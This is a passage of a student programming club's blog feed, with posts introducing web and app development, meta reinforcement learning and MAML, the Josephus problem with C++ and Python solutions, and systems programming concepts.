<p>Try visiting <a target="_blank" href="https://cops-website-inspiration.netlify.app/cops_inspiration">https://cops-website-inspiration.netlify.app/cops_inspiration</a> built by one of our members....see the particle effect on the page, well that’s made entirely from scratch hsing html, css and javascript. You can see the code here - https://github.com/Varun-Kolanu/Cops_Website_inspiratio</p>
<p>The world of Wev Dev has endless possibilities, it’s only on you to decide ;)</p>
<p><strong>Key Areas of Web Development:</strong></p>
<p>1. <strong>Frontend Development</strong>: It is the only side of the application the user can interact with and request the backend for certain responses.</p>
<ul>
<li><p><strong>Languages:</strong> HTML, CSS, JavaScript</p>
</li>
<li><p><strong>Purpose:</strong> Everything the user interacts with directly, including the layout, design, and interactive elements.</p>
</li>
</ul>
<p><strong>Tools and Frameworks:</strong></p>
<ul>
<li><p><strong>CSS Frameworks</strong>: Bootstrap, Tailwind CSS</p>
</li>
<li><p><strong>JavaScript Frameworks/Libraries:</strong> React, Angular, Vue.js</p>
</li>
<li><p><strong>Responsive Design:</strong> Media queries, Flexbox, Grid layout ensure websites look great on different screen sizes (mobile, tablet, desktop).</p>
</li>
</ul>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXffUnNBVDyEUaXHuJKL12TgvDpuos2Hg4_nsS-u5EoZZJ7Tma6Ii_0xE41vgc8-_79AxssRXxmfrAhmF-vOkbBl6Btk0hayO71t6QQKIgPuU4mm8vNdqqd1ROpzUHlyC9ukMOost_5EVfcYvZi4sGjeUig?key=VYDphODRLkH0CGDsAsNDNQ" alt /></p>
<p>2. **Backend Development(Server-side):**It is the complete logic and storage side of the application which handles business logic, server requests and Manages database operations.</p>
<p><strong>Languages</strong>: JavaScript (Node.js), Python (Django, Flask), Ruby (Rails), PHP, Java (Spring), Go</p>
<p><strong>Key Concepts:</strong></p>
<ul>
<li><p><strong>APIs:</strong> Application Programming Interfaces allow frontend applications to interact with backend services or databases.</p>
</li>
<li><p><strong>Databases:</strong> MySQL, PostgreSQL (relational), MongoDB, Firebase (NoSQL).</p>
</li>
<li><p><strong>Authentication and Security:</strong> Secure sessions, OAuth, JWT, and encryption techniques.</p>
</li>
</ul>
<p>3. <strong>Full-stack Development:</strong></p>
<ul>
<li><p>Combines both frontend and backend development.</p>
</li>
<li><p>Popular stacks include MERN (MongoDB, Express.js, React, Node.js), LAMP (Linux, Apache, MySQL, PHP), MEAN(MongoDB, Express.js, Angular, Node.js).....etc.</p>
</li>
</ul>
<p>4. <strong>Version Control:</strong></p>
<ul>
<li>Tools like <strong>Git</strong> and platforms like <strong>GitHub</strong> or <strong>GitLab</strong> allow developers to manage changes in code efficiently, especially in team environments.</li>
</ul>
<p>Editor’s note: For a deeper dive in version control systems read the git/github workshop pdf.</p>
<h3 id="heading-app-development-creating-mobile-experiences"><strong>App Development: Creating Mobile Experiences</strong></h3>
<p><strong>App development</strong> refers to the creation of software applications designed for mobile devices (smartphones, tablets) or desktop systems. These apps run natively on the device and are generally accessed through app stores like Google Play or the Apple App Store.</p>
<p><strong>Types of Mobile App Development:</strong></p>
<p>1. <strong>Native App Development:</strong></p>
<p><strong>Languages:</strong></p>
<ul>
<li><p>**iOS:**Swift, Objective-C</p>
</li>
<li><p><strong>Android:</strong> Kotlin, Java</p>
</li>
<li><p><strong>Purpose:</strong> Native apps are built specifically for a particular platform, providing the best performance and access to device-specific features (e.g., camera, GPS, sensors).</p>
</li>
</ul>
<p><strong>Development Tool:</strong></p>
<ul>
<li><p><strong>iOS:</strong> Xcode, Swift Playgrounds</p>
</li>
<li><p><strong>Android:</strong> Android Studio</p>
</li>
<li><p><strong>Pros:</strong> High performance, better user experience, and access to hardware features.</p>
</li>
<li><p><strong>Cons:</strong> Requires separate codebases for iOS and Android, which increases development time and cost.</p>
</li>
</ul>
<p>2. <strong>Cross-Platform Development:</strong></p>
<p><strong>Languages/Frameworks:</strong></p>
<ul>
<li><p><strong>React Native:</strong> Uses JavaScript to create native apps for both iOS and Android.</p>
</li>
<li><p><strong>Flutter:</strong> Google's UI toolkit that uses the Dart language to build natively compiled applications for mobile and web.</p>
</li>
<li><p><strong>Xamarin:</strong> A Microsoft framework for building Android, iOS, and Windows apps with C#.</p>
</li>
<li><p><strong>Purpose:</strong> Write one codebase and deploy it across multiple platforms.</p>
</li>
<li><p><strong>Pros:</strong> Faster development cycle, cost-effective, single codebase for all platforms.</p>
</li>
<li><p><strong>Cons:</strong> May not achieve the same performance and native look-and-feel as fully native apps.</p>
</li>
</ul>
<p>3. <strong>Hybrid App Development:</strong></p>
<p><strong>Languages/Frameworks:</strong> Ionic, Cordova (using HTML, CSS, JavaScript)</p>
<ul>
<li><p><strong>Purpose:</strong> Hybrid apps are web apps that run in a web view but appear like native apps.</p>
</li>
<li><p><strong>Pros:</strong> Rapid development, cost-effective.</p>
</li>
<li><p><strong>Cons</strong>: Performance may be slower than native apps, limited access to device capabilities.</p>
</li>
</ul>
<p><strong>App Development Lifecycle:</strong></p>
<p>1. <strong>Conceptualization:</strong> Define the purpose, target audience, and features of the app.</p>
<p>2. <strong>Wireframing and Design:</strong> Create visual prototypes and user interfaces.</p>
<p>3. <strong>Development:</strong> Write the code using the chosen platform and framework.</p>
<p>4. <strong>Testing:</strong> Thoroughly test for bugs, usability, and device compatibility.</p>
<p>5. <strong>Deployment:</strong> Submit the app to app stores for review and release.</p>
<p>6. <strong>Maintenance:</strong> Continuously update the app for new features, OS compatibility, and bug fixes.</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfAOVtRCFEWbMg7FdV057YHRCmT5aR1svrueGnSa1oCfnq_O6Ya8vDDchG8TXHLTKYTiFsauRtBbQ3RIpx7xCdyAH0Vz91ExIwE0EjbQ4FPCpX0ysLuhieuht1j2P2JX1mX5UmfvmUnJJsg1EtKSUxxIWDP?key=VYDphODRLkH0CGDsAsNDNQ" alt /></p>
<p><strong>Key Differences Between Web and App Development</strong></p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Aspect</td><td>Web Development</td><td>App Development</td></tr>
</thead>
<tbody>
<tr>
<td><strong>Platform</strong></td><td>Runs in web browsers</td><td>Runs natively on mobile/desktop.</td></tr>
<tr>
<td><strong>Languages</strong></td><td>HTML, CSS, JavaScript</td><td>Swift, Kotlin, Java, React Native,</td></tr>
<tr>
<td><strong>Performance</strong></td><td>Limited by browser capabilities</td><td>High performance, direct access to hardware.</td></tr>
<tr>
<td><strong>Development Time</strong></td><td>Generally faster, one codebase for all</td><td>Longer (unless using cross-platform tools).</td></tr>
<tr>
<td><strong>Distribution</strong></td><td>Accessed via URLs, no installation</td><td>Requires download via app stores.</td></tr>
<tr>
<td><strong>Maintenance</strong></td><td>Easier to update and maintain</td><td>Needs frequent updates for OS changes.</td></tr>
</tbody>
</table>
</div><p><strong>How to Get Started:</strong></p>
<p>P.S: Look at the end we have added some resources for you👾.</p>
<p><strong>Web Development:</strong></p>
<ul>
<li><p><strong>Learn the basics:</strong> Start with HTML, CSS, and JavaScript.</p>
</li>
<li><p><strong>Move to frameworks:</strong> Learn frontend frameworks like React or Vue and backend technologies like Node.js or Django.</p>
</li>
<li><p><strong>Projects:</strong> Build your portfolio by developing responsive websites or small web apps.</p>
</li>
<li><p><strong>Version Control:</strong> Get comfortable with Git and collaborative platforms like GitHub.</p>
</li>
</ul>
<p><strong>App Development:</strong></p>
<ul>
<li><p><strong>Choose a platform:</strong> Decide whether you want to focus on iOS, Android, or cross-platform development.</p>
</li>
<li><p><strong>Learn the relevant languages:</strong> Swift for iOS, Kotlin for Android, or frameworks like React Native for cross-platform.</p>
</li>
<li><p><strong>Build projects:</strong> Create basic apps to understand mobile architecture, such as a to-do list or weather app.</p>
</li>
<li><p><strong>Publish an app:</strong> Get experience by deploying an app to the Google Play Store or Apple App Store.</p>
</li>
</ul>
<h3 id="heading-resources"><strong>Resources:</strong></h3>
<p><strong>Web dev:</strong></p>
<p><a target="_blank" href="https://cops-sdg.notion.site/CSOC-23-Web-b73ab317d53744f8b00b21887c4ae1ab">https://cops-sdg.notion.site/CSOC-23-Web-b73ab317d53744f8b00b21887c4ae1ab</a></p>
<p><strong>App dev:</strong></p>
<p><a target="_blank" href="https://sagittariusa11.notion.site/CSOC-23-App-Dev-b874014ac84247bd932e815bc04cf65a">https://sagittariusa11.notion.site/CSOC-23-App-Dev-b874014ac84247bd932e815bc04cf65a</a></p>
<p><strong>Version control:</strong></p>
<p><a target="_blank" href="https://cops-sdg.notion.site/CSOC-23-Web-b73ab317d53744f8b00b21887c4ae1ab?p=80cfd3b94482486ea9f81446432a48c8&amp;pm=c">https://cops-sdg.notion.site/CSOC-23-Web-b73ab317d53744f8b00b21887c4ae1ab?p=80cfd3b94482486ea9f81446432a48c8&amp;pm=c</a></p>
]]></content:encoded></item><item><title><![CDATA[Exploring Meta Reinforcement Learning]]></title><description><![CDATA[In this blog we’ll discuss what is meta reinforcement learning and how it can be useful, To start with let’s know what is meta learning.
Meta Learning →
Consider a scenario where a device is built to monitor user’s health details like heart rate, sle...]]></description><link>https://blogs.copsiitbhu.co.in/exploring-meta-reinforcement-learning</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/exploring-meta-reinforcement-learning</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Reinforcement Learning]]></category><category><![CDATA[Machine Learning]]></category><category><![CDATA[Meta-Reinforcement Learning]]></category><dc:creator><![CDATA[Aman Dhingra]]></dc:creator><pubDate>Fri, 27 Sep 2024 17:54:45 GMT</pubDate><content:encoded><![CDATA[<p>In this blog we’ll discuss what is meta reinforcement learning and how it can be useful, To start with let’s know what is meta learning.</p>
<h3 id="heading-meta-learning">Meta Learning →</h3>
<p>Consider a scenario where a device is built to monitor user’s health details like heart rate, sleep patterns etc and based on that the device is supposed to give personalised recommendation.</p>
<p>But the challenge here is that every user is different in terms of lifestyle, genetics and therefore one model would fail to give correct recommendations to such diverse group of users. Meta learning can solve this problem. In meta learning model is trained to rapidly adapt to new tasks using only a small amount of data.</p>
<p>Meta Reinforcement Learning extends the concepts of meta learning to reinforcement learning and hence solves various problems.</p>
<p>In Reinforcement Learning the goal is to maximise the final rewards for a fixed task using trial and error. There is an environment in which an agent interacts and get reward . Now lets say for the same agent in the same environment a different reward function hence it is a completely different task. For this with standard RL approach it requires retraining from scratch again.</p>
<p>With Meta reinforcement learning agents are able to adapt quickly to new tasks after training of range of tasks</p>
<h3 id="heading-how-it-is-different-from-reinforcement-learning">How it is different from Reinforcement learning →</h3>
<ol>
<li><p>In meta-RL the goal is to learn a generalisable learning strategy to quickly adapt to new actions, i.e develop a learning algorithm that helps it learn new tasks while RL is just to maximise the cumulative reward for one particular task</p>
</li>
<li><p>In reinforcement learning agent needs large amount of data(interactions) for each task but meta RL is trained in such a way that with small adaption during the meta testing phase the agent learn quickly with very less data.</p>
</li>
<li><p>The techniques used for training is different in both of them, meta rl more focussed on generalisation while RL for specific tasks.</p>
</li>
</ol>
<h3 id="heading-use-cases-of-meta-reinforcement-learning">Use cases of meta reinforcement learning →</h3>
<ol>
<li><p>A robotic arm trained with meta RL can adapt to handle objects of various shapes, weight without retraining and just adaption for each kind of task.</p>
</li>
<li><p>Self driving cars need to operate in very different environments sometimes there meta rl may help as the vehicle can adapt to new conditions based on previous experiences rather than training for each possible scenario like wind, fog etc.</p>
</li>
<li><p>As discussed meta RL can help in making a model for personalised recommendations in healthcare.</p>
</li>
<li><p>Let’s say we are training a robotic chef, so now we need to explore and understand the kitchen environment but all the kitchens have different interior, different location of appliances with different control systems. Here the robotic chef needs to be trained using meta RL where each kitchen represents a task and after training on several kitchens the chef would have a high level understanding to how to navigate a completely new kitchen with only a little exploration.</p>
</li>
<li><p>Meta RL is also helpful when the task such as text generation, summarisation where for different languages training again is not effective rather use meta RL to adapt to the previous tasks.</p>
</li>
</ol>
<p>and many more ….</p>
<p>One source of slowness in RL training is weak <a target="_blank" href="https://en.wikipedia.org/wiki/Inductive_bias"><em>inductive bias</em> ( = “a set of</a> assumptions that the learner uses to predict outputs given inputs that it has not encountered”). As a general ML rule, a learning algorithm with weak inductive bias will be able to master a wider range of variance, but usually, will be less sample-efficient. Therefore, to narrow down the hypotheses with stronger inductive biases help improve the learning <a target="_blank" href="http://speed.In">speed.In meta-RL</a>, we impose certain types of inductive biases from the task distribution and store them in memory. Which inductive bias to adopt at test time depends on the algorithm.</p>
<h2 id="heading-how-does-it-work">HOW DOES IT WORK →</h2>
<p>In RL we consider a Markov Decision Process (MDP) M = (S,A,T,R) where S denotes state space, A denotes the action space, T is transition distribution and R being the reward function, now in meta RL we have a distribution of similar MDP’s with the same state space and action space but different transition distribution and reward functions which corresponds to distribution of tasks so each MDP Mi is (S, A, Ti, Ri).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727356984558/a8afdf88-8763-4e51-bb23-7b1fc6cebae8.png" alt /></p>
<p>In the above image the outer loop samples a new environment in every iteration and updates the parameters that defines the agents behaviour and the inner loop interacts with the environment for maximum reward.</p>
<p>We know that one single policy cannot solve all the tasks therefore we need a algorithm to quickly compute an optimal policy for the new task. There is a common structure to all the meta RL algorithms for doing so :</p>
<p>Meta training - The goal is to learn an algorithm</p>
<p>Meta testing - The goal is to apply that algorithm to obtain a good policy for the current task</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727357130756/b66b00aa-a276-4251-a63c-cc450b6df729.png" alt /></p>
<p>Now we will see gradient methods for meta RL - MAML or Model Agnostic Meta Learning which can solve almost any dense environment</p>
<h2 id="heading-maml">MAML →</h2>
<p>We already know there are going to be 2 parts the meta training and the meta testing phase.</p>
<p>Before looking at the training phase let’s see what do we expect at the testing phase</p>
<h3 id="heading-meta-testing">Meta Testing -</h3>
<p>Basically during the meta testing phase we need a pre-trained parameter ϴ from which we can perform efficient adaption and for a new task the new parameter ϴ’ obtained from the gradient descent should achieve good performance at the task</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727357235648/82f884ee-1283-4a79-a43d-aa6a55e3f26a.png" alt /></p>
<p>Every task Ti has an optimal parameter ϴi* and for every task the adaption along delta Li provides a parameter <em>ϴi’ = ϴ - alpha** delta Li\</em>* that should be close to ϴi</p>
<h3 id="heading-meta-training">Meta training -</h3>
<p>Notation →</p>
<ol>
<li><p>ϴ - model parameters,</p>
</li>
<li><p>p(T) - distribution of the tasks each task Ti is sampled from p(T),</p>
</li>
<li><p>Li(ϴ) is the loss function for Ti here it is negative of the reward,</p>
</li>
<li><p><strong>α</strong>, β are the learning rates for inner and outer loop respectively</p>
</li>
</ol>
<p>The meta-training algorithm is divided into two parts:</p>
<ul>
<li><p>Firstly, for a given set of tasks, we sample multiple trajectories using <em>θ</em> and update the parameter using one (or multiple) gradient step(s) of the policy gradient objective. This is called the <strong>inner loop</strong>.</p>
</li>
<li><p>Second, for the same tasks, we sample multiple trajectories from the updated parameters <em>θ’</em> and backpropagate to <em>θ</em> the gradient of the policy objective. This is called the <strong>outer loop</strong>.</p>
</li>
</ul>
<p>In the inner loop, for each task Ti loss is minimised using gradient descent to adapt the model parameter ϴ to that specific task</p>
<p>ϴi’ = ϴ - <strong>α</strong> * delta ϴ Li(ϴ).</p>
<p>delta ϴ Li(ϴ) shows the gradient of the loss function for that task Ti.</p>
<p>Let’s define a term meta loss as the loss of the adapted paramenters ϴi’ evaluated on the same task Ti</p>
<p><strong>Meta loss</strong> is defined as ∑ ​Li​(θi′​) for each Ti in p(T) or ∑ Li * ​(θ−α ∇θ​Li​(θ)) for each Ti in p(T)</p>
<p>The objective is to minimise this loss function on ϴ for that to apply gradient descent we need gradient of the meta loss with respect to initial parameters.</p>
<p>After calculations the gradient of meta loss reduces to</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727362567535/2c55af3c-c19d-43d6-9880-38e30a663192.png" alt /></p>
<p>for all Ti in p(T)</p>
<p>Here I shows identity matrix and the second term is hessian matrix.</p>
<p>Next step is to update the parameter ϴ and set it to ϴ - β * (the gradient above)</p>
<p>This is done for all the tasks in p(T) and hence we achieve at parameters ϴ which are most appropriate for adapting to new tasks.</p>
<p>Below is a simulation of meta training phase where</p>
<p>the first term (I - hessian matrix) is Ai and the second term is gi</p>
<p><img src="https://miro.medium.com/max/423/1*r3VAafoAT1R40MrTAlOO2A.gif" alt /></p>
<p>If we omit the second order derivative term and assume A = I that is called as First Order - MAML or FOMAL and might be useful when the dimensions are very large and second order derivatives are expensive to compute.</p>
<h2 id="heading-other-algorithms">Other algorithms →</h2>
<p>There are several other meta RL models and algorithms apart from MAML of which some of them are listed and have different approaches for different kind of problems but discussing each of them is out of the scope of this blog.</p>
<ol>
<li><p>Optimisation based models :</p>
<p> a) MAML - learn a policy that can be fine tuned using gradient descent.</p>
<p> b) ProMP - probabilistic extension of MAML</p>
</li>
</ol>
<p>Memory based models :</p>
<p>a) RL^2 - uses RNN in form of lstm to implictly store task information and adapt.</p>
<p>b) SNAIL - Combines temporal convolutions and attention for memory-based adaptation.</p>
<ol>
<li><p>Probabilistic models :</p>
<p> a) PEARL - Learns latent embeddings of tasks using probabilistic inference.</p>
<p> b) VariBAD - Bayesian inference to handle task uncertainty and adaptive learning.</p>
<p> c) MetaGenRL - Uses generative models (e.g., VAEs) to capture task distributions.</p>
</li>
</ol>
<p>If you want to dig deep into this field of meta reinforcement learning refer <a target="_blank" href="https://sites.google.com/view/meta-rl-tutorial-2023/home">https://sites.google.com/view/meta-rl-tutorial-2023/home</a> .</p>
]]></content:encoded></item><item><title><![CDATA[Josephus Problem]]></title><description><![CDATA[The Josephus problem is a fascinating mathematical puzzle involving people standing in a circle, where every k-th person is eliminated until only one remains. Named after Flavius Josephus, this problem dates back to ancient history and has significan...]]></description><link>https://blogs.copsiitbhu.co.in/josephus-problem</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/josephus-problem</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Competitive programming]]></category><category><![CDATA[Mathematics]]></category><category><![CDATA[Dynamic Programming]]></category><category><![CDATA[history]]></category><category><![CDATA[C++]]></category><category><![CDATA[Python]]></category><dc:creator><![CDATA[JAY VINCHHI]]></dc:creator><pubDate>Wed, 25 Sep 2024 18:30:49 GMT</pubDate><content:encoded><![CDATA[<p>The <strong>Josephus problem</strong> is a fascinating mathematical puzzle involving people standing in a circle, where every <code>k</code>-th person is eliminated until only one remains. Named after <strong>Flavius Josephus</strong>, this problem dates back to ancient history and has significant algorithmic importance today.</p>
<h3 id="heading-historical-background">Historical Background</h3>
<p>The Josephus problem originated during the <strong>Jewish-Roman War</strong>, where Josephus and his companions, facing capture, agreed to eliminate themselves in a specific order. Josephus, who didn’t want to die, positioned himself strategically to be the last survivor, thus giving birth to the puzzle we now study.</p>
<h3 id="heading-problem-statement">Problem Statement</h3>
<p>The Josephus problem asks:</p>
<ul>
<li>Given <code>n</code> people standing in a circle and eliminating every <code>k</code>-th person, determine the position of the last remaining survivor.</li>
</ul>
<p>For example, with <code>n = 7</code> and <code>k = 3</code>, the sequence of eliminations is: <code>3, 6, 2, 7, 5, 1</code>. The last remaining person is at position 4.</p>
<h3 id="heading-visualization">Visualization</h3>
<p>To better understand the Josephus problem, visualizations can help. Imagine a group of people in a circle with eliminations occurring step by step. An interactive animation or flowchart of this process clarifies how the recursive elimination unfolds.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727275571278/75961c42-aa9d-4751-a85c-c68bc7d18639.gif" alt class="image--center mx-auto" /></p>
<h3 id="heading-recursive-and-iterative-solutions">Recursive and Iterative Solutions</h3>
<h4 id="heading-recursive-formula">Recursive Formula:</h4>
<p>The problem can be expressed recursively as:</p>
<p>$$J(n, k) = \left\{ \begin{array}{ll} 1 &amp; n= 1 \\ ((J(n-1, k) + k-1)\mod n) + 1 &amp; n &gt; 1 \\ \end{array} \right.$$</p><h4 id="heading-iterative-solution">Iterative Solution:</h4>
<p>In C++ and Python, this solution can also be implemented iteratively:</p>
<pre><code class="lang-cpp"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;bits/stdc++.h&gt;</span></span>
<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> <span class="hljs-built_in">std</span>;

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">josephus</span><span class="hljs-params">(<span class="hljs-keyword">int</span> n, <span class="hljs-keyword">int</span> k)</span> </span>{
    <span class="hljs-keyword">int</span> result = <span class="hljs-number">0</span>; <span class="hljs-comment">// Base case for 1 person</span>

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">2</span>; i &lt;= n; i++) {
        result = (result + k) % i;
    }

    <span class="hljs-keyword">return</span> result;
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-keyword">int</span> n, k;
    <span class="hljs-built_in">cin</span> &gt;&gt; n &gt;&gt; k;
    <span class="hljs-keyword">int</span> result = josephus(n, k) + <span class="hljs-number">1</span>;
    <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"The position of the last person standing is: "</span> &lt;&lt; result &lt;&lt; <span class="hljs-built_in">endl</span>;

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">josephus</span>(<span class="hljs-params">n, k</span>):</span>
    <span class="hljs-keyword">if</span> n == <span class="hljs-number">1</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>
    <span class="hljs-keyword">else</span>:
        <span class="hljs-keyword">return</span> (josephus(n - <span class="hljs-number">1</span>, k) + k) % n

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    n = int(input())
    k = int(input())
    result = josephus(n, k) + <span class="hljs-number">1</span>
    print(result)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<h3 id="heading-special-case-k-2">Special Case (<code>k = 2</code>):</h3>
<p>For <code>k = 2</code>, the solution has a direct mathematical pattern. If the number of people <code>n</code> is written in terms of powers of 2 (i.e., <code>n = 2^m + l</code>, where <code>l</code> is the remainder when dividing <code>n</code> by the nearest lower power of 2), the position of the last person can be calculated by the formula:</p>
<p>$$J(n,2) = 2l + 1$$</p><h3 id="heading-formal-proof">Formal Proof</h3>
<p>Here’s a formal proof for the Josephus problem when <code>k = 2</code>:</p>
<ul>
<li><p><strong>Base Cases</strong>: $$J(1,2)=1 \text{ and } J(2,2)=1$$</p>
</li>
<li><p><strong>Inductive Hypothesis</strong>: Assume the formula holds for the first <code>i-1</code> natural numbers.</p>
</li>
<li><p><strong>Odd Case:</strong> Let <code>i = 2*j + 1</code> $$J(2j+1,2)=2J(j,2)+1$$ Using modular arithmetic, this becomes: $$2j+1=2^{m_1}*2+2l_1+1=2^{m_2}+l_2 \text{ where } l_2=2l_1+1$$ Now, we can say $$J(2j+1,2)=2l_2 +1$$</p>
</li>
<li><p><strong>Even Case:</strong> Let <code>i = 2*j</code> $$J(2j,2)=2J(j,2)−1$$ Using modular arithmetic, $$2j=2^{m_1}*2+2l_1=2^{m_2}+l_2 \text{ where } l_2=2l_1$$ Now, we can say $$J(2j,2)=2l_2 +1$$</p>
</li>
</ul>
<p>Thus, the recursive formula holds for all cases.</p>
<h3 id="heading-table-of-survivor-positions-for-k-2">Table of Survivor Positions for <code>k = 2</code></h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>n(number of people)</td><td>Survivor's Position (k = 2)</td></tr>
</thead>
<tbody>
<tr>
<td>1</td><td>1</td></tr>
<tr>
<td>2</td><td>1</td></tr>
<tr>
<td>3</td><td>3</td></tr>
<tr>
<td>4</td><td>1</td></tr>
<tr>
<td>5</td><td>3</td></tr>
<tr>
<td>6</td><td>5</td></tr>
<tr>
<td>7</td><td>7</td></tr>
<tr>
<td>8</td><td>1</td></tr>
<tr>
<td>9</td><td>3</td></tr>
<tr>
<td>10</td><td>5</td></tr>
</tbody>
</table>
</div><h3 id="heading-is-there-a-more-optimal-way-yes-using-dp">Is there a more optimal way ? (Yes, using DP)</h3>
<p>Yes, there exists a more optimal way. Here we introduce the concept of Dynamic Programming. Using Dynamic Programming, we calculate our answer using the results of sub-problems. This allows to multiple same executions by storing them. Here we will store the answers of smaller values of n depending on the value of n.</p>
<p>If given multiple queries we will be answer for multiples of number of people(&lt;=n and for the same k) in O(1) time.</p>
<h3 id="heading-even-better-approach-for-small-values-of-k">Even better approach for small values of k</h3>
<p>For small k and large n, there is another approach. This approach also uses DP but has running time O(k*log(n)). It is based on considering killing <em>k</em>-th, 2<em>k</em>-th…as one step, then changing the numbering. 
This improved approach takes the form:</p>
<p>$$
g(n, k) = 
\begin{cases} 
    0 &amp; \text{if } n = 1 \\
    \left( g(n - 1, k) + k \right) \mod n &amp; \text{if } 1 &lt; n \leq k \\
    g\left(n - \left\lfloor \frac{n}{k} \right\rfloor, k \right) - n \mod k + n &amp; \text{if } g\left(n - \left\lfloor \frac{n}{k} \right\rfloor, k \right) &lt; n \mod k \\
    \lfloor\frac{k\left(g\left(n - \left\lfloor \frac{n}{k} \right\rfloor, k \right) - n \mod k\right)}{k - 1} \rfloor &amp; \text{if } g\left(n - \left\lfloor \frac{n}{k} \right\rfloor, k \right) \geq n \mod k \text{ and } k \leq n
\end{cases}
$$</p><h3 id="heading-applications">Applications</h3>
<p>1. <strong>Scheduling and Resource Allocation</strong></p>
<ul>
<li><p><strong>Round-robin scheduling</strong>: The Josephus problem has applications in round-robin algorithms used in operating systems and distributed systems for scheduling tasks, where processes are eliminated in a circular order.</p>
</li>
<li><p><strong>Token passing</strong>: The problem mirrors the behavior in token-passing algorithms used in network systems, such as Token Ring networks, to control which system gets to send data.</p>
</li>
</ul>
<p>2. <strong>Data Structure Rotation</strong></p>
<ul>
<li><strong>Circular linked lists</strong>: In situations where elements are stored in a circular linked list (a data structure where each node points to its successor and the last node points back to the first), the Josephus problem applies when elements need to be removed in a round-robin fashion.</li>
</ul>
<p>3. <strong>Cryptography and Security</strong></p>
<ul>
<li><strong>Secure message transmission</strong>: The Josephus problem has been used to design secure methods for message transmission where the choice of a surviving node or system can represent secure channels or keys.</li>
</ul>
<h3 id="heading-conclusion">Conclusion</h3>
<p>The Josephus problem is more than a theoretical exercise; it teaches valuable lessons in recursion, modular arithmetic, and algorithmic design. By mastering this problem, you can apply its principles in various real-world scenarios, from game theory to computer science algorithms.</p>
]]></content:encoded></item><item><title><![CDATA[Intro to Systems Programming]]></title><description><![CDATA[Systems programming is the foundation of all computing. It involves creating the software that allows your computer and devices to function effectively, ensuring that hardware and software work together seamlessly. Let’s explore how different compone...]]></description><link>https://blogs.copsiitbhu.co.in/intro-to-systems-programming</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/intro-to-systems-programming</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Systems Programming]]></category><category><![CDATA[operating system]]></category><dc:creator><![CDATA[Aayush Khanna]]></dc:creator><pubDate>Tue, 24 Sep 2024 16:25:14 GMT</pubDate><content:encoded><![CDATA[<p><strong>Systems programming</strong> is the foundation of all computing. It involves creating the software that allows your computer and devices to function effectively, ensuring that hardware and software work together seamlessly. Let’s explore how different components are interconnected in this ecosystem.</p>
<h4 id="heading-1-operating-systems-and-device-drivers"><strong>1. Operating Systems and Device Drivers</strong></h4>
<p>At the heart of every computer is the <strong>operating system (OS)</strong>, like Windows, macOS, or Linux. The OS acts as a bridge between the user applications (like web browsers or games) and the hardware of the computer (like the CPU, memory, and storage).</p>
<p><strong>Device drivers</strong> are essential parts of this relationship. They are specialized software that allow the OS to communicate with hardware devices, such as printers, graphics cards, or USB devices. When an application wants to use a printer, for example, it sends a request to the OS, which then uses the appropriate driver to communicate with the printer and carry out the task. This ensures that applications can utilize hardware without needing to know the specifics of how each device operates.</p>
<h4 id="heading-2-firmware-and-hardware"><strong>2. Firmware and Hardware</strong></h4>
<p><strong>Firmware</strong> is the low-level software embedded in hardware devices, such as routers, hard drives, and keyboards. It provides the necessary instructions for how the hardware operates. The firmware is closely related to device drivers; while drivers help the OS communicate with devices, firmware directly controls the device's hardware functions.</p>
<p>For example, a printer has firmware that manages its internal processes, while the driver acts as the translator between the OS and that firmware. This relationship allows users to perform tasks on hardware through higher-level software.</p>
<h4 id="heading-3-database-management-systems-and-hosting"><strong>3. Database Management Systems and Hosting</strong></h4>
<p><strong>Database Management Systems (DBMS)</strong> are software applications that manage databases, helping store, retrieve, and organize data. They are crucial for applications that rely on large amounts of information, such as websites or business software.</p>
<p><strong>Hosting</strong> is related to DBMS because databases need a place to reside and be accessed. Hosting providers offer the infrastructure (servers and storage) necessary to run databases effectively. The DBMS interacts with the hardware through the OS, ensuring that data is stored efficiently and can be retrieved quickly.</p>
<h4 id="heading-4-networking"><strong>4. Networking</strong></h4>
<p>All of this ties back to <strong>networking</strong>. For applications to function across the internet or local networks, they need to communicate with servers and databases. Networking software, built through systems programming, manages data transfer, security, and protocols like TCP/IP, allowing applications to send and receive information reliably.</p>
<h3 id="heading-why-this-matters"><strong>Why This Matters</strong></h3>
<p>Understanding how these components are interrelated helps appreciate the complexity and importance of systems programming. It’s not just about writing code; it’s about ensuring that every layer of software and hardware works together smoothly. This coordination is essential for everything we do with technology, from browsing the web to playing games to managing large data sets.</p>
<p>By developing efficient systems software, programmers ensure that hardware operates correctly, applications run smoothly, and users have a seamless experience. This foundational work is what enables all the modern conveniences we rely on today.</p>
<hr />
